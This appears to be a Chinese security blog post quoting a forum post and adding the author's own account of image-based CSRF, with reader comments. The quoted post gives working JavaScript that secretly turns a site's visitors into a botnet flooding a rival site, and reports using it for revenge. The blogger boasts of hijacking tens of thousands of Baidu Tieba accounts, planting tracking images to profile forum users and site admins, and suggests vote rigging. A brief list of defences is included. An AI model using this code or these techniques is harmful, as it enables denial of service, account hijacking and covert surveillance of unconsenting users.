标题:【CSRF】基于图片方式(<img)的 DDOS、CC、会话劫持以及刺探用户信息

关于:基于js的CC攻击实现与防御、以及图片方式的DDOS、CC、会话劫持、刺探用户信息

本文一时兴起所写,逻辑可能有点乱,一片烂文,将就着看看吧。

在 T00ls 看到个帖子,内容如下:


Tu3ur 发表于 2011-12-7 09:52:

刚刚在微博上看到说土司要大清洗了,才想起自己已经好久没来过土司了- -

为了保住账号,冒泡出来献烂文一篇,不会写文章啊,勉强看吧。

申明:此文不是为了教大家攻击别人网站,主要是为了学会更好的防御,如果不能发请斑竹删了吧,希望别ban ID。。。

Author:Tueur

正文:

前段时间开发了一个微博应用站,人气还不错,可不久就被人山寨了,连名字都一模一样,气不过就想到了报复。

因为整个网站全是基于腾讯api接口的,入侵短时间基本没可能性,我等小菜也没肉鸡DDoS。

突然想到了半年前不知道在哪看过一篇关于CC攻击原理分析的文章,我邪恶的想到了似乎用ajax也可以实现。

(为了更理解此文最好去网上查一下cc攻击原理,这里大牛这么多,我就不多说了。)

简单说cc攻击就是通过大量肉鸡模拟正常用户对网站某个需要获取大量数据的网页发送数据包,导致服务器崩溃。

其最重要的就是肉鸡,我网站一般都有上千人同时在线,于是他们都成为了我的“肉鸡”~

我写了一段攻击代码放我网站上,只要用户访问网站就会自动不断的通过ajax向指定页面发送post数据包,半个小时后对方网站基本over了。

当然,攻击的页面是我先选好了的需要获取数据量比较大的页面,这个很重要。

而且由于ajax跨域安全限制,发送数据包后浏览器是不会获取返回数据的,这样对当前访问的用户基本没有影响,跟正常访问没区别。

但缺点也是因为跨域限制,在IE下会弹出警告没有权限或需要授权,所以我在代码中if了ie浏览器下不执行函数。

如果你有pv大的shell的话这个不是问题,现在用非IE人已经很多了,我在忽略IE用户的情况下也只用了半个小时就o了。

下面是ajax攻击代码,间隔时间可以根据需要自己调整,我设置的是50毫秒一次。

<script type="text/javascript">
var t_postdata='id=datadatadatadatadata'; //数据越大攻击效果越好。
var t_url='http://www.xxx.com/test.php';

function c_xmlHttp()
{
       if(window.ActiveXObject)
       {
               xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');
       }
       else if(window.XMLHttpRequest)
       {
               xmlHttp=new XMLHttpRequest();
       }
       return xmlHttp;
}

function post_send()
{
       var xmlHttp=c_xmlHttp();
       xmlHttp.open("POST",t_url,true);
       xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
       xmlHttp.send(t_postdata);
       r_send();
}
function r_send()
{
       setTimeout("post_send()", 50);//50毫秒一次
}
if(!+[1,])//IE下不执行。
{var fghj=1;}
else
{setTimeout("post_send()", 3000);}//访问网站3秒后再执行攻击,这样用户就毫无感觉。

</script>

防御办法:

1,对数据量比较大的页面使用缓存,尽量减少数据库连接。

2,对每个访问者设置ip cookie,限制时段内访问次数。

3,对每个用户设置session,限制时段内访问次数。

4,缩短Timeout时间,这样当连接过多就会自动丢弃一部分。

暂时就想到这些,欢迎大牛们完善。。。


很老很老很老的手法了,03年左右就有这种东西了,还有几年前的 XSS Shell 自带 JavaScript CC 功能。

从他这个想起来,以前玩CSRF的一些东西,顺道发了出来。

CSRF无权执行JavaScript代码都可以发包,即:无需XSS漏洞都可以,原理十分简单:

<img src="https://lcx.cc/index.asp?id=111">

因为浏览器才不管你是不是图片,照样访问并返回数据,完全等同于使用浏览器访问该地址,只不过图片会显示叉叉,因为返回的数据是错误的,非图片数据,把图片高宽设置为0即可。

09年的时候,我曾经用这种手法,劫持百度贴吧,哈哈哈,当时百度贴吧还存在此类漏洞:

<img src="/post.php?user=asdasdasd&data=asdasd">

就可以劫持他发帖了,只要访问了这个地址,就会发帖。

等于是用 <img  劫持了用户,强制提交了发帖数据,因为 cookies 是延用的,所以他成功发帖了。

也就是说,一打开你插入的页面,就会执行指定的操作,例如发帖等,几乎可以控制任何网页交互信息,例如让他去你空间发留言、刷人气,或者干脆修改密码……

劫持受害者账号操作受害者的百度空间,进行文章删除 新建 编辑 等操作,以及添加/删除友情链接,删除添加好友...编辑背景音乐..编辑宠物...头像..几乎任意东西....

还可以做成蠕虫哟……

还可以抢夺吧主,因为吧主的认证策略是,现任吧主在你的申请帖里回复一个“同意”,这个很容易就做到了。

当年劫持了数万用户,打造了一个神贴。。。几千页,所有用户回复都是“Hacker'Rose 帅呆了,牛逼完了..是世人的典范!”,内容大概是这个,记不清了,当年曾轰动一时,百度贴吧负责安全的家伙亲自来联系我……

恩,想起来了,当时我发的贴叫“百度帐号系统 致命漏洞!【演示帖】【强行置顶】”,呵呵,自然是强行“置顶”了,因为所有进来的用户都被强制回帖了,当时的帖子地址为:http://tieba.baidu.com/f?kz=625062875,后来被删除了。

还有相关连接存在:

http://tieba.baidu.com/f?kz=625162702

http://tieba.baidu.com/f?kz=625180243

http://tieba.baidu.com/f?kz=625071888

http://www.google.com.hk/search?q=Hacker%27Rose+%E5%B8%85%E5%91%86%E4%BA%86,%E7%89%9B%E9%80%BC%E5%AE%8C%E4%BA%86..%E6%98%AF%E4%B8%96%E4%BA%BA%E7%9A%84%E5%85%B8%E8%8C%83!&hl=zh-CN&newwindow=1&safe=strict&gbv=2&prmd=ivns&filter=0

http://tieba.baidu.com/f?kz=625535362

http://hi.baidu.com/zekaed/blog/item/6d625409b04eafd862d986bb.html [此贴有部分图片,是转载的我的原文,其实我原文当时截图了超多图片,原文我后来搬迁博客的时候删除了,百度相册我没删,应该还有吧]

http://tieba.baidu.com/f?kz=625223451

http://club.china.com/data/thread/1011/2703/98/17/2_1.html

缺点是,仅限于GET数据,无法提交Post数据。

还有,高级的利用手法,例如,如果你改成论坛转金币、顶、踩、投票之类的连接,那就爽了……

而且还可以做“主控系统”,即集群控制,当年我便是这样做的。

在百度贴吧插入图片,地址为:https://lcx.cc/img.asp?x.jpg,然后img.asp就可以进行集群控制了,平时不用的时候,返回正常图片即可。

等到用的时候:Response.Redirect "http://www.baidu.com/fuck.asp?cao=nima",(页面跳转不会影响Cookies),你懂的……

哈哈哈哈哈哈哈哈哈哈哈哈哈哈!

如今,你现在还可以利用这类手法继续进行“劫持”,该“漏洞”无法被封,有个专门的名词叫:CSRF,类似XSS的跨站攻击,具体请参阅:http://baike.baidu.com/view/1609487.htm

再提示下,img.asp 中可以获取所有用户信息,包括当前访问的地址,来路,IP,以及整个HTTP头,除了cookies与插入的网页不一样以外,其他的信息完全一致,所以,可以用来做信息记录,例如给论坛个人签名里放一张图片,然后你懂得,嘿嘿,曾在t00ls这么干过。。。

更高级的用法,由于是图片,所以支持几乎所有网页形式的内容,例如:贴吧、论坛、留言板、许愿墙、各种邮箱、百度知道问答……,哈哈哈,至于用来干什么?当然是用来收集用户信息了,为下一步入侵做准备,哈哈哈哈哈……

哈哈哈,我曾在QQ邮箱这么干过,哈哈哈,具体干什么,就不方便说了,哦,呵呵呵呵呵……

至于 img.asp 中的代码,请参阅本站另外几篇文章:

【Asp原创】Asp超详细显示客户端系统信息

【Asp】ASP获取客户端/服务器相关信息

【Asp】Asp超精准判断客户端浏览器类型

【Asp】判断客户端系统和浏览器类型以及版本

其中部分代码,便是我当年用过的,当年为了这个,收集了大量浏览器、手机等信息,此类脚本现在还有写,当然比这些更精良了,改天插在 t00ls.net 给大家演示下。

另外再提示一下,每个人HTTP头中的浏览器及系统信息是完全不一样的,重复的几率比较低,可以通过这个识别指定的账号,虽然无权执行JavaScript,但还是可以精准的识别到访问者在论坛的账号等信息。

嘿嘿,就能知道某人访问了你的帖子,但丫没回!还可以知道某个美眉是哪里的啦、神马系统啦、神马浏览器啦……

这个很早就有大量应用了,例如那些论坛个人签名中的显示IP和系统信息的图片。

这个玩精了,能做的事情相当多,当然,也能用到日站上,例如:

嘿嘿嘿,日个站?不知道后台地址?So,聪明的你瞬间就想到了解决办法:在神马留言的地方插入XSS?Oh,Shit!丫没XSS漏洞,那么办呢?定睛一看,恩?可以插入图片?Soga,你懂了……

管理在后台一查看留言,嘎嘎,地址以及管理的机器信息就到手了,或者干脆去跟他交换友情链接,图片式的链接,管理肯定要在后台编辑器里编辑,由于在线Html编辑器是“动态执行”即所见即所得,然后你懂的……

哦~ 呵呵呵呵呵呵呵…… 好猥琐……

PS:我记得很久很久以前在论坛讨论过这玩意儿?对的,娃娃曾经问我要过这个脚本。

嘿嘿嘿,再补充一下,前一段时间,搞投票,我曾想写个刷论坛投票之类的文章,苦于没时间,也就没研究了。(靠,那个投票贴,不是刷的!别乱理解啊。。。)

不出意外的话,这种手段,对各种论坛、贴吧投票,是一针见血的……

留言评论(旧系统):

NONO @ 2011-12-21 17:28:05

核总,这篇写的真给力,后面能不能再详细点写,或者再写个实操教程?

本站回复:

这个还用教程。。。。?????靠!很容易操作的东西……

晴天小铸 @ 2012-06-27 22:07:09

post能实现 ajax技术。。。。 document.domain='xx';

本站回复:

跨域是个问题。在测试的时候发现,POST是可以跨域的,GET 在非 IE 浏览器的环境下也可以跨域。

晴天小铸 @ 2012-06-27 22:22:14

80sec有个跨域文章 。 GET 的也可以阿xmlhttp xxxxx 'GET','true' document.domain 关键这个设置吧 . Wooyun也有很多ecshop xss方法get 可以的呢 呵呵

本站回复:

IE 环境下跨域可以发数据,但无法获取返回数据,非 IE 环境正常。

晴天小铸 @ 2012-06-27 22:47:19

我们可以找找csrf - - 呵呵不需要返回数据 如修改他的资料 顶贴或者其他操作 getshell也行 呵呵

本站回复:

CSRF要看实际条件

晴天小铸 @ 2012-06-28 07:11:52

http://tieba.baidu.com/p/1583718448 关于这个跨域 能执行javascript核总有什么 想法 cookie是有的 各种都有的。

本站回复:

javascript: window.location.href = 'javascript: alert("'+document.cookie+'");';

黎明小孩 @ 2012-09-09 05:56:05

22222</textarea> <img src="http://lcx.cc/inde<img src="http://lcx.cc/index.asp?id=111"> x.asp?id=111"><img src="http://lcx.cc/index.asp?id=111"><img src="http://lcx.cc/index.asp?id=111"><img src="http://lcx.cc/index.asp?id=111"> <textarea style="width:100%;height:162px;" name="liuyan" cols="100" rows="10">111111

本站回复:

╭∩╮(︶︿︶)╭∩╮

【匿名者】 @ 2012-09-24 22:16:32

ajax可以直接跨域吗,不需要使用iframe 的桥接或iframe代理?

本站回复:

在 IE 中,可以 POST,但是只能发不能收,火狐和其它浏览器则可以自由 GET、POST

kelon @ 2012-11-06 17:17:46

以前用来刷百度相关的关键字也很好用。站长牛人,后台地址。。哈哈

本站回复:

XSS、CSRF 其实很好用的,就看用的妙不妙了……

佚名 @ 2013-01-04 08:33:14

如果好好研究一下可以写一个支付宝自动转账的代码,嘎嘎!

本站回复:

很遗憾,无论你如何努力研究,你也无法使用CSRF实现支付宝自动转账功能…… ╮(╯_╰)╭ 1、无法发送POST包;2、无法获取页面信息(token、验证码之类);3、支付宝有专用加密控件;4、受限制太多,根本无法实现……

佚名 @ 2013-03-23 04:18:30

“在百度贴吧插入图片,地址为:http://lcx.cc/img.asp?x.jpg,然后img.asp就可以进行集群控制了,平时不用的时候,返回正常图片即可。” CC也可以啊 目标站找一张大图 “在疯狂发贴”当然不可能 overall game over 没办法完全清理

本站回复:

╮(╯_╰)╭

墨水 @ 2013-05-27 16:50:28

果真猥琐起来,无法防御啊啊啊~~

本站回复:

╮(╯_╰)╭

佚名 @ 2013-06-02 10:38:04

本地测试<img src="http://127.0.0.1:90/1.asp"> 1.asp :<% Response.Redirect "http://www.baidu.com/fuck.asp?cao=nima" %> 为什么不能跳转呢

本站回复:

你指的是什么跳转?网页跳转?你这是 img 标签,实际上已经跳转了,只不过跳转后的数据被当做图片了(由于数据错误,所以图片显示×),并不执行。 建议先大概了解下基础 html 以及 http 协议知识,下次不会再回答此类问题。